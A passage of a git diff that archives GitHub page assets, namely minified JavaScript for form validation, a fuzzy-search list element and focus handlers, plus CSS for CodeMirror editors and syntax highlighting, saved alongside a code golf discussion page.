o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 1 Leap year · Discussion #3 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;border:0 !important;background:#7e7}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor-mark{background-color:rgba(20, 255, 20, 0.5);animation:blink 1.06s steps(1) infinite}.cm-animate-fat-cursor{width:auto;border:0;animation:blink 1.06s steps(1) infinite;background-color:#7e7}@keyframes blink{50%{background-color:transparent}}.cm-tab{display:inline-block;text-decoration:inherit}.CodeMirror-rulers{position:absolute;left:0;right:0;top:-50px;bottom:0;overflow:hidden}.CodeMirror-ruler{border-left:1px solid #ccc;top:0;bottom:0;position:absolute}.cm-s-default .cm-header{color:blue}.cm-s-default .cm-quote{color:#090}.cm-negative{color:#d44}.cm-positive{color:#292}.cm-header,.cm-strong{font-weight:bold}.cm-em{font-style:italic}.cm-link{text-decoration:underline}.cm-strikethrough{text-decoration:line-through}.cm-s-default .cm-keyword{color:#708}.cm-s-default .cm-atom{color:#219}.cm-s-default .cm-number{color:#164}.cm-s-default .cm-def{color:blue}.cm-s-default .cm-variable-2{color:#05a}.cm-s-default .cm-variable-3,.cm-s-default .cm-type{color:#085}.cm-s-default .cm-comment{color:#a50}.cm-s-default .cm-string{color:#a11}.cm-s-default .cm-string-2{color:#f50}.cm-s-default .cm-meta{color:#555}.cm-s-default .cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default .cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default .cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default .cm-link{color:#00c}.cm-s-default .cm-error{color:red}.cm-invalidchar{color:red}.CodeMirror-composing{border-bottom:2px solid}div.CodeMirror span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255, 150, 0, 0.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:white}.CodeMirror-scroll{overflow:scroll !important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:none;position:relative}.CodeMirror-sizer{position:relative;border-right:50px solid transparent}.CodeMirror-vscrollbar,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{position:absolute;z-index:6;display:none;outline:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:none !important;border:none !important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper ::selection{background-color:transparent}.CodeMirror-gutter-wrapper ::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{border-radius:0;border-width:0;background:transparent;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;font-variant-ligatures:contextual}.CodeMirror-wrap pre.CodeMirror-line,.CodeMirror-wrap pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl pre{direction:rtl}.CodeMirror-code{outline:none}.CodeMirror-scroll,.CodeMirror-sizer,.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber{box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-focused div.CodeMirror-cursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused .CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255, 255, 0, 0.4)}.cm-force-border{padding-right:.1px}@media print{.CodeMirror div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:""}span.CodeMirror-selectedtext{background:none}.CodeMirror-dialog{position:absolute;left:0;right:0;background:inherit;z-index:15;padding:.1em .8em;overflow:hidden;color:inherit}.CodeMirror-dialog-top{border-bottom:1px solid #eee;top:0}.CodeMirror-dialog-bottom{border-top:1px solid #eee;bottom:0}.CodeMirror-dialog input{border:none;outline:none;background:transparent;width:20em;color:inherit;font-family:monospace}.CodeMirror-dialog button{font-size:70%}.CodeMirror-merge{position:relative;border:1px solid #ddd;white-space:pre}.CodeMirror-merge,.CodeMirror-merge .CodeMirror{height:350px}.CodeMirror-merge-2pane .CodeMirror-merge-pane{width:47%}.CodeMirror-merge-2pane .CodeMirror-merge-gap{width:6%}.CodeMirror-merge-3pane .CodeMirror-merge-pane{width:31%}.CodeMirror-merge-3pane .CodeMirror-merge-gap{width:3.5%}.CodeMirror-merge-pane{display:inline-block;white-space:normal;vertical-align:top}.CodeMirror-merge-pane-rightmost{position:absolute;right:0px;z-index:1}.CodeMirror-merge-gap{z-index:2;display:inline-block;height:100%;box-sizing:border-box;overflow:hidden;border-left:1px solid #ddd;border-right:1px solid #ddd;position:relative;background:#f8f8f8}.CodeMirror-merge-scrolllock-wrap{position:absolute;bottom:0;left:50%}.CodeMirror-merge-scrolllock{position:relative;left:-50%;cursor:pointer;color:#555;line-height:1}.CodeMirror-merge-scrolllock:after{content:"⇛  ⇚"}.CodeMirror-merge-scrolllock.CodeMirror-merge-scrolllock-enabled:after{content:"⇛⇚"}.CodeMirror-merge-copybuttons-left,.CodeMirror-merge-copybuttons-right{position:absolute;left:0;top:0;right:0;bottom:0;line-height:1}.CodeMirror-merge-copy{position:absolute;cursor:pointer;color:#44c;z-index:3}.CodeMirror-merge-copy-reverse{position:absolute;cursor:pointer;color:#44c}.CodeMirror-merge-copybuttons-left .CodeMirror-merge-copy{left:2px}.CodeMirror-merge-copybuttons-right .CodeMirror-merge-copy{right:2px}.CodeMirror-merge-r-inserted,.CodeMirror-merge-l-inserted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-deleted,.CodeMirror-merge-l-deleted{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);background-position:bottom left;background-repeat:repeat-x}.CodeMirror-merge-r-chunk{background:#ffffe0}.CodeMirror-merge-r-chunk-start{border-top:1px solid #ee8}.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #ee8}.CodeMirror-merge-r-connect{fill:#ffffe0;stroke:#ee8;stroke-width:1px}.CodeMirror-merge-l-chunk{background:#eef}.CodeMirror-merge-l-chunk-start{border-top:1px solid #88e}.CodeMirror-merge-l-chunk-end{border-bottom:1px solid #88e}.CodeMirror-merge-l-connect{fill:#eef;stroke:#88e;stroke-width:1px}.CodeMirror-merge-l-chunk.CodeMirror-merge-r-chunk{background:#dfd}.CodeMirror-merge-l-chunk-start.CodeMirror-merge-r-chunk-start{border-top:1px solid #4e4}.CodeMirror-merge-l-chunk-end.CodeMirror-merge-r-chunk-end{border-bottom:1px solid #4e4}.CodeMirror-merge-collapsed-widget:before{content:"(...)"}.CodeMirror-merge-collapsed-widget{cursor:pointer;color:#88b;background:#eef;border:1px solid #ddf;font-size:90%;padding:0 3px;border-radius:4px}.CodeMirror-merge-collapsed-line .CodeMirror-gutter-elt{display:none}/*! + * GitHub Light v0.4.2 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.cm-s-github-light.CodeMirror{background:var(--color-codemirror-bg);color:var(--color-codemirror-text)}.cm-s-github-light .CodeMirror-gutters{background:var(--color-codemirror-gutters-bg);border-right-width:0}.cm-s-github-light .CodeMirror-guttermarker{color:var(--color-codemirror-guttermarker-text)}.cm-s-github-light .CodeMirror-guttermarker-subtle{color:var(--color-codemirror-guttermarker-subtle-text)}.cm-s-github-light .CodeMirror-linenumber{color:var(--color-codemirror-linenumber-text);padding:0 16px 0 16px}.cm-s-github-light .CodeMirror-cursor{border-left:1px solid var(--color-codemirror-cursor)}.cm-s-github-light.CodeMirror-focused .CodeMirror-selected,.cm-s-github-light .CodeMirror-line::selection,.cm-s-github-light .CodeMirror-line>span::selection,.cm-s-github-light .CodeMirror-line>span>span::selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-line::-moz-selection,.cm-s-github-light .CodeMirror-line>span::-moz-selection,.cm-s-github-light .CodeMirror-line>span>span::-moz-selection{background:var(--color-codemirror-selection-bg, #d7d4f0)}.cm-s-github-light .CodeMirror-activeline-background{background:var(--color-codemirror-activeline-bg)}.cm-s-github-light .CodeMirror-matchingbracket{text-decoration:underline;color:var(--color-codemirror-matchingbracket-text) !important}.cm-s-github-light .CodeMirror-lines{font-family:"SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace;font-size:12px;background:var(--color-codemirror-lines-bg);line-height:1.5}.cm-s-github-light .cm-comment{color:var(--color-codemirror-syntax-comment)}.cm-s-github-light .cm-constant{color:var(--color-codemirror-syntax-constant)}.cm-s-github-light .cm-entity{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-entity)}.cm-s-github-light .cm-keyword{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-keyword)}.cm-s-github-light .cm-storage{color:var(--color-codemirror-syntax-storage)}.cm-s-github-light .cm-string{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-string)}.cm-s-github-light .cm-support{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-support)}.cm-s-github-light .cm-variable{font-weight:normal;font-style:normal;text-decoration:none;color:var(--color-codemirror-syntax-variable)}details-dialog{position:fixed;margin:10vh auto;top:0;left:50%;transform:translateX(-50%);z-index:999;max-height:80vh;max-width:90vw;width:448px;overflow:auto}.user-select-contain{-webkit-user-select:contain;user-select:contain}.ajax-pagination-form .ajax-pagination-btn{width:100%;padding:6px;margin-top:20px;font-weight:600;color:var(--color-accent-fg);background:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.ajax-pagination-form .ajax-pagination-btn:hover,.ajax-pagination-form .ajax-pagination-btn:focus{color:var(--color-accent-fg);background-color:var(--color-canvas-subtle)}.ajax-pagination-form.loading .ajax-pagination-btn{text-indent:-3000px;background-color:var(--color-canvas-subtle);background-image:url("/images/spinners/octocat-spinner-16px-EAF2F5.gif");background-repeat:no-repeat;background-position:center center;border-color:var(--color-border-default)}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.ajax-pagination-form.loading .ajax-pagination-btn{background-image:url("/images/spinners/octocat-spinner-32-EAF2F5.gif");background-size:16px auto}}body.intent-mouse [role=button]:focus,body.intent-mouse [role=tabpanel][tabindex="0"]:focus,body.intent-mouse button:focus,body.intent-mouse summary:focus,body.intent-mouse a:focus{outline:none;box-shadow:none}body.intent-mouse [tabindex="0"]:focus,body.intent-mouse details-dialog:focus{outline:none}.CodeMirror{height:calc(100vh - 1px)}.file-editor-upload{height:100%}.issue-template-editor{height:100%}.file-editor-textarea{width:100%;padding:5px 4px;font:12px ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;resize:vertical;border:0;border-radius:0;outline:none}.container-preview .tabnav-tabs{margin:-5px 0 -5px -9px}.container-preview .tabnav-tabs .tabnav-tab{padding:12px 16px;border-radius:0}.container-preview .tabnav-tabs>.selected:first-child{border-top-left-radius:6px}.container-preview .tabnav-tabs .selected{font-weight:600}.container-preview.template-editor .commit-create,.container-preview.template-editor .file-actions{display:block}.container-preview.template-editor .show-code,.container-preview.template-editor .commit-preview,.container-preview.template-editor .loading-preview-msg,.container-preview.template-editor .no-changes-preview-msg,.container-preview.template-editor .error-preview-msg{display:none !important}.container-preview.render-editor .commit-create,.container-preview.render-editor .file-actions{display:block}.container-preview.render-editor .template-editor,.container-preview.render-editor .show-code,.container-preview.render-editor .commit-preview,.container-preview.render-editor .loading-preview-msg,.container-preview.render-editor .no-changes-preview-msg,.container-preview.render-editor .error-preview-msg{display:none !important}.container-preview.show-code .commit-create,.container-preview.show-code .file-actions{display:block}.container-preview.show-code .template-editor,.container-preview.show-code .render-editor,.container-preview.show-code .commit-preview,.container-preview.show-code .loading-preview-msg,.container-preview.show-code .no-changes-preview-msg,.container-preview.show-code .error-preview-msg{display:none !important}.container-preview:not(.show-code) .commit-create,.container-preview:not(.show-code) .file-actions{display:none !important}.container-preview.loading-preview .loading-preview-msg{display:block}.container-preview.loading-preview .template-editor,.container-preview.loading-preview .render-editor,.container-preview.loading-preview .no-changes-preview-msg,.container-preview.loading-preview .error-preview-msg,.container-preview.loading-preview .commit-preview{display:none !important}.container-preview.show-preview .commit-preview{display:block}.container-preview.show-preview .template-editor,.container-preview.show-preview .render-editor,.container-preview.show-preview .loading-preview-msg,.container-preview.show-preview .no-changes-preview-msg,.container-preview.show-preview .error-preview-msg{display:none !important}.container-preview.no-changes-preview .no-changes-preview-msg{display:block}.container-preview.no-changes-preview .template-editor,.container-preview.no-changes-preview .render-editor,.container-preview.no-changes-preview .loading-preview-msg,.container-preview.no-changes-preview .error-preview-msg,.container-preview.no-changes-preview .commit-preview{display:none !important}.container-preview.error-preview .error-preview-msg{display:block}.container-preview.error-preview .template-editor,.container-preview.error-preview .render-editor,.container-preview.error-preview .loading-preview-msg,.container-preview.error-preview .no-changes-preview-msg,.container-preview.error-preview .commit-preview{display:none !important}.container-preview p.preview-msg{padding:30px;font-size:16px}.CodeMirror-merge-header{height:30px}.CodeMirror-merge-header .CodeMirror-merge-pane{height:30px;line-height:30px}.cm-s-github-light .merge-gutter{width:14px}.conflict-background+.CodeMirror-gutter-wrapper .CodeMirror-linenumber{background-color:var(--color-attention-subtle)}.form-group .edit-action{opacity:.6}.form-group .form-field-hover{background-color:none;border:1px solid var(--color-border-default)}.form-group:hover .edit-action{cursor:pointer;opacity:.7}.form-group:hover .form-field-hover{cursor:pointer;border:1px solid var(--color-border-default)}.placeholder-box{border:1px solid var(--color-border-default)}.template-previews{max-width:768px}.template-previews .Box .expand-group{display:none;height:0}.template-previews .Box .dismiss-preview-button{display:none}.template-previews .Box.expand-preview .expand-group{display:block;height:100%;transition:height 3s}.template-previews .Box.expand-preview .preview-button{display:none}.template-previews .Box.expand-preview .dismiss-preview-button{display:inline}.template-previews .discussion-sidebar-heading{font-size:14px;color:var(--color-neutral-emphasis)}.template-previews .discussion-sidebar-heading:hover{color:var(--color-accent-emphasis)}.edit-labels{display:none}.preview-section{display:block}.edit-section{display:none}.Box .section-focus .preview-section{display:none}.Box .section-focus .edit-section{display:block}.commit-create 